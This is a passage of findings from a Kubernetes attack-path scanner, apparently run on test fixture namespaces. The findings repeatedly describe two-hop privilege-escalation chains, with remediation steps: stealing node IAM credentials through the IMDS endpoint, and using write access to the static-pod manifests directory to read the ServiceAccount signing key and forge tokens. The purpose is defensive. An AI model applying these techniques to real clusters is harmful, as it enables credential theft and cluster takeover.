    Gives the attacker pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-narrow → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-narrow → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/lp-fixtures/sa-lp-orphan Cluster 5.7
ServiceAccount/lp-fixtures/sa-lp-orphan can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-orphan → token_mint
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-orphan

Subject ServiceAccount/lp-fixtures/sa-lp-orphan has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/lp-fixtures/sa-lp-orphan → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS
2. ServiceAccount/lp-fixtures/sa-lp-orphan → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-orphan chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/lp-fixtures/sa-lp-orphan.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-orphan, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/lp-fixtures/sa-lp-orphan, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-orphan → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-orphan → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/lp-fixtures/sa-lp-wildcard Cluster 5.7
ServiceAccount/lp-fixtures/sa-lp-wildcard can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-wildcard → token_mint
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard

Subject ServiceAccount/lp-fixtures/sa-lp-wildcard has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/lp-fixtures/sa-lp-wildcard → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS
2. ServiceAccount/lp-fixtures/sa-lp-wildcard → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-wildcard chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/lp-fixtures/sa-lp-wildcard.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-wildcard, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/lp-fixtures/sa-lp-wildcard, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-wildcard → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-wildcard → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/netpol-imds/default Cluster 5.7
ServiceAccount/netpol-imds/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/netpol-imds/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/netpol-imds/default

Subject ServiceAccount/netpol-imds/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/netpol-imds/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS
2. ServiceAccount/netpol-imds/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/netpol-imds/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/netpol-imds/default.
  2. Acting as ServiceAccount/netpol-imds/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/netpol-imds/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/netpol-imds/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/netpol-imds/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/netpol-imds/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/netpol-imds/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/privesc-fixtures/sa-node-migrate Cluster 5.7
ServiceAccount/privesc-fixtures/sa-node-migrate can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-node-migrate → token_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-node-migrate

Subject ServiceAccount/privesc-fixtures/sa-node-migrate has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-node-migrate → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/privesc-fixtures/sa-node-migrate → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/privesc-fixtures/sa-node-migrate chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-node-migrate.
  2. Acting as ServiceAccount/privesc-fixtures/sa-node-migrate, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/privesc-fixtures/sa-node-migrate, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/privesc-fixtures/sa-node-migrate → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/privesc-fixtures/sa-node-migrate → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath Cluster 5.7
ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → token_mint
Category: Privilege Escalation Subject: ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath

Subject ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS
2. ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath.
  2. Acting as ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/rbac-fixtures/sa-impersonate Cluster 5.7
ServiceAccount/rbac-fixtures/sa-impersonate can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-impersonate → token_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-impersonate → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS
2. ServiceAccount/rbac-fixtures/sa-impersonate → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/rbac-fixtures/sa-impersonate chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-impersonate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/rbac-fixtures/sa-impersonate → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/rbac-fixtures/sa-impersonate → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/secrets-bundle/cross-ns-reader Cluster 5.7
ServiceAccount/secrets-bundle/cross-ns-reader can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/secrets-bundle/cross-ns-reader → token_mint
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader

Subject ServiceAccount/secrets-bundle/cross-ns-reader has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/secrets-bundle/cross-ns-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS
2. ServiceAccount/secrets-bundle/cross-ns-reader → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/secrets-bundle/cross-ns-reader chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/secrets-bundle/cross-ns-reader.
  2. Acting as ServiceAccount/secrets-bundle/cross-ns-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/secrets-bundle/cross-ns-reader, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/secrets-bundle/cross-ns-reader → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/secrets-bundle/cross-ns-reader → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/statusspoof-fixtures/default Cluster 5.7
ServiceAccount/statusspoof-fixtures/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/statusspoof-fixtures/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/statusspoof-fixtures/default

Subject ServiceAccount/statusspoof-fixtures/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/statusspoof-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS
2. ServiceAccount/statusspoof-fixtures/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/statusspoof-fixtures/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/statusspoof-fixtures/default.
  2. Acting as ServiceAccount/statusspoof-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/statusspoof-fixtures/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted write access to /etc/kubernetes/manifests
